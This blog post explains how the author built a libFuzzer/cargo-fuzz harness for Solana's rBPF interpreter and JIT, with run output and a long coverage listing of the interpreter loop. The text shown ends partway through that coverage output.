Normal view

There are new articles available, click to refresh the page.
Before yesterdayReverse Engineering

Earn $200K by fuzzing for a weekend: Part 1

By: addison
11 May 2022 at 07:00

By applying well-known fuzzing techniques to a popular target, I found several bugs that in total yielded over $200K in bounties. In this article I will demonstrate how powerful fuzzing can be when applied to software which has not yet faced sufficient testing.

If you’re here just for the bug disclosures, see Part 2, though I encourage you all, even those who have not yet tried their hand at fuzzing, to read through this.

Exposition

A few friends and I ran a little Discord server (now a Matrix space) which in which we discussed security and vulnerability research techniques. One of the things we have running in the server is a bot which posts every single CVE as they come out. And, yeah, I read a lot of them.

One day, the bot posted something that caught my eye:

This marks the beginning of our timeline: January 28th. I had noticed this CVE in particular for two reasons:

  • it was BPF, which I find to be an absurdly cool concept as it’s used in the Linux kernel (a JIT compiler in the kernel!!! what!!!)
  • it was a JIT compiler written in Rust

This CVE showed up almost immediately after I had developed some relatively intensive fuzzing for some of my own Rust software (specifically, a crate for verifying sokoban solutions where I had observed similar issues and thought “that looks familiar”).

Knowing what I had learned from my experience fuzzing my own software and that bugs in Rust programs could be quite easily found with the combo of cargo fuzz and arbitrary, I thought: “hey, why not?”.

The Target, and figuring out how to test it

Solana, as several of you likely know, “is a decentralized blockchain built to enable scalable, user-friendly apps for the world”. They primarily are known for their cryptocurrency, SOL, but also are a blockchain which operates really any form of smart contract.

rBPF in particular is a self-described “Rust virtual machine and JIT compiler for eBPF programs”. Notably, it implements both an interpreter and a JIT compiler for BPF programs. In other words: two different implementations of the same program, which theoretically exhibited the same behaviour when executed.

I was lucky enough to both take a software testing course in university and to have been part of a research group doing fuzzing (admittedly, we were fuzzing hardware, not software, but the concepts translate). A concept that I had hung onto in particular is the idea of test oracles – a way to distinguish what is “correct” behaviour and what is not in a design under test.

In particular, something that stood out to me about the presence of both an interpreter and a JIT compiler in rBPF is that we, in effect, had a perfect pseudo-oracle; as Wikipedia puts it:

a separately written program which can take the same input as the program or system under test so that their outputs may be compared to understand if there might be a problem to investigate.

Those of you who have more experience in fuzzing will recognise this concept as differential fuzzing, but I think we can often overlook that differential fuzzing is just another face of a pseudo-oracle.

In this particular case, we can execute the interpreter, one implementation of rBPF, and then execute the JIT compiled version, another implementation, with the same inputs (i.e., memory state, entrypoint, code, etc.) and see if their outputs are different. If they are, one of them must necessarily be incorrect per the description of the rBPF crate: two implementations of exactly the same behaviour.

Writing a fuzzer

To start off, let’s try to throw a bunch of inputs at it without really tuning to anything in particular. This allows us to sanity check that our basic fuzzing implementation actually works as we expect.

The dumb fuzzer

First, we need to figure out how to execute the interpreter. Thankfully, there are several examples of this readily available in a variety of tests. I referenced the test_interpreter_and_jit macro present in ubpf_execution.rs as the basis for how my so-called “dumb” fuzzer executes.

I’ve provided a sequence of components you can look at one chunk at a time before moving onto the whole fuzzer. Just click on the dropdowns to view the code relevant to that step. You don’t necessarily need to to understand the point of this post.

Step 1: Defining our inputs

We must define our inputs such that it’s actually useful for our fuzzer. Thankfully, arbitrary makes it near trivial to derive an input from raw bytes.

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

If you want to see the definition of ConfigTemplate, you can check it out in common.rs, but all you need to know is that its purpose is to test the interpreter under a variety of different execution configurations. It’s not particularly important to understand the fundamental bits of the fuzzer.

Step 2: Setting up the VM

Setting up the fuzz target and the VM comes next. This will allow us to not only execute our test, but later to actually check if the behaviour is correct.

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    // TODO in step 3
});

You can find the details for how fuzz_target works from the Rust Fuzz Book which goes over how it works in higher detail than would be appropriate here.

Step 3: Executing our input and comparing output

In this step, we just execute the VM with our provided input. In future iterations, we’ll compare the output of interpreter vs JIT, but in this version, we’re just executing the interpreter to see if we can induce crashes.

fuzz_target!(|data: DumbFuzzData| {
    // see step 2 for this bit

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

I use black_box here but I’m not entirely convinced that it’s necessary. I added it to ensure that the result of the interpreted program’s execution isn’t simply discarded and thus the execution marked unnecessary, but I’m fairly certain it wouldn’t be regardless.

Note that we are not checking for if the execution failed here. If the BPF program fails: we don’t care! We only care if the VM crashes for any reason.

Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use solana_rbpf::{
    ebpf,
    elf::{register_bpf_function, Executable},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

Theoretically, an up-to-date version is available in the rBPF repo.

Evaluation

$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770	NEW    cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805	DONE   cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)

After executing the fuzzer, we can evaluate its effectiveness at finding interesting inputs by checking its coverage after executing for a given time (note the use of the -max_total_time flag). In this case, I want to determine just how well it covers the function which handles interpreter execution. To do so, I issue the following commands:

$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    763|    fn execute_program_interpreted_inner(
  710|    763|        &mut self,
  711|    763|        instruction_meter: &mut I,
  712|    763|        initial_insn_count: u64,
  713|    763|        last_insn_count: &mut u64,
  714|    763|    ) -> ProgramResult<E> {
  715|    763|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    763|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    763|        reg[1] = ebpf::MM_INPUT_START;
  718|    763|
  719|    763|        // Loop on instructions
  720|    763|        let config = self.executable.get_config();
  721|    763|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    763|        let mut remaining_insn_count = initial_insn_count;
  723|   136k|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|   135k|            *last_insn_count += 1;
  725|   135k|            let pc = next_pc;
  726|   135k|            next_pc += 1;
  727|   135k|            let mut instruction_width = 1;
  728|   135k|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|   135k|            let dst = insn.dst as usize;
  730|   135k|            let src = insn.src as usize;
  731|   135k|
  732|   135k|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|   135k|            }
  738|       |
  739|   135k|            match insn.opc {
  740|   135k|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|    361|                    match insn.opc {
  742|     16|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|    345|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  757|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  762|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  767|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  772|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  777|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  782|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      7|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  787|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      0|                ebpf::LD_DW_IMM  => {
  796|      0|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      0|                    instruction_width = 2;
  798|      0|                    next_pc += 1;
  799|      0|                    reg[dst] = insn.imm as u64;
  800|      0|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  806|      2|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^6
  811|      6|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|    365|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|    365|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^348
  816|    348|                    reg[dst] = unsafe { *host_ptr as u64 };
  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|     15|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|     15|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^5
  821|      5|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|     26|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^20
  828|     20|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     23|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     23|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^13
  833|     13|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|     12|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|     12|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^5
  838|      5|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^3
  850|      3|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|     13|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|     13|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|     19|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|     19|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^7
  860|      7|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|  1.06k|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|    695|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|    710|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|    345|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|  1.03k|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|  2.07k|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|  1.03k|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|    346|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
                                                                    ^0
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|    346|                    }
  886|    346|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|     13|                    if reg[src] as i32 == 0 {
  890|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|     11|                    }
  892|     11|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
                                                                    ^0
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|     11|                    }
  895|     11|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    346|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|    351|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|    345|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|  1.03k|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      0|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|    369|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      0|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|    346|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|    690|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|    347|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|      4|                    if reg[src] as u32 == 0 {
  909|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|      2|                    }
  911|      2|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
  913|  1.04k|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|  2.74k|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|    349|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|  1.03k|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|      0|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|      2|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      0|                ebpf::LE         => {
  920|      0|                    reg[dst] = match insn.imm {
  921|      0|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      0|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      0|                ebpf::BE         => {
  930|      0|                    reg[dst] = match insn.imm {
  931|      0|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      0|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|    402|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|    351|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|  1.12k|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|    721|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|  3.06k|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|  1.71k|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
  947|  1.39k|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|     23|                    if reg[src] == 0 {
  950|     12|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|     11|                    }
  952|     11|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|  1.40k|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
                                                                    ^0
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|  1.40k|                    }
  958|  1.40k|
  959|  1.40k|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|     12|                    if reg[src] == 0 {
  963|      5|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      7|                    }
  965|      7|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
                                                                    ^0
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      7|                    }
  968|      7|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    838|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|  1.37k|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|  2.14k|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|  4.47k|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|      0|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|  1.73k|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      0|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|  1.03k|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|  5.59k|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|  2.85k|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|      3|                    if reg[src] == 0 {
  982|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|      1|                    }
  984|      1|                                    reg[dst] %= reg[src];
  985|       |                },
  986|  2.28k|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|  1.41k|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|    383|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|  4.24k|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|      0|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    357|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|  4.43k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|     10|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
  996|  1.36k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.36k                                                        ^2
  997|  4.16k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^2.74k
  998|  1.73k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.39k                                                        ^343
  999|    343|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1000|  2.04k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.70k                                                        ^342
 1001|  2.04k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^1
 1002|    342|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1003|  1.02k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1004|  2.38k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.38k                                                        ^1
 1005|  1.76k|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^347
 1006|    686|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|  6.48k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1008|  2.44k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.40k                                                        ^1.03k
 1009|  18.1k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^17.7k                                                        ^363
 1010|  2.08k|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.07k                                                        ^12
 1011|  14.3k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^12.9k                                                        ^1.37k
 1012|  3.45k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^3.44k                                                        ^12
 1013|  1.36k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.02k                                                        ^346
